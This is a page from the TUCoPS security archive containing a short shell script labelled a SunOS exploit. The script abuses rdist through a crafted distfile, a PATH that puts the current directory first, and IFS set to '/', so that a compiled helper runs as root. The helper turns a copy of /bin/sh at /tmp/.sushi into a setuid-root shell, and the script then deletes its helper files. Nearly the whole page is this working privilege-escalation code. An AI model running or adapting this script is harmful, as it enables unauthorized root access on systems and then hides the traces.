TUCoPS :: SunOS/Solaris :: sun_r000.txt

Another SunOS exploit script

#!/bin/sh
cat << _EOF_ > distfile
w0oTwO0T -> localhost
  install /tmp/1 ;
  notify user ;
_EOF_
cat << _EOF_ > usr.c
main()
{
  setuid(0);
  chown("/tmp/.sushi", 0, 0);
  chmod("/tmp/.sushi", 04755);
  exit(0);
}
_EOF_
cp /bin/sh /tmp/.sushi
cc -o usr usr.c
PATH=.:$PATH
IFS='/'
export PATH IFS
rdist
rm -f usr usr.c distfile
 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH